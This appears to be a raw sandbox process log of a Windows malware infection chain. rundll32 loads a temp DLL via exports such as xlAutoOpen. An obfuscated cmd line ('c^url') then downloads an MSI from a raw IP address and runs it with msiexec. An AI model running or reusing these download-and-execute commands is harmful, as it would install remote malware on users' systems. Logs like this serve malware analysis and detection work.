rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ni.dll,hash
1608rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ni.dll,xlAutoOpen
2256rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ni.dll,xlAutoOpen
1192cmd.exe c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://88.119.175.199/EtqXJWL/hqmN&&timeout 10&&c:\users\public\1.msi
1844curl.exe curl -o c:\users\public\1.msi http://88.119.175.199/EtqXJWL/hqmN
2124timeout.exe timeout 10
2800msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\users\public\1.msi"
2992rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ni.dll,reverseString
2196rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ni.dll,reverseString
1604rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ni.dll,
2396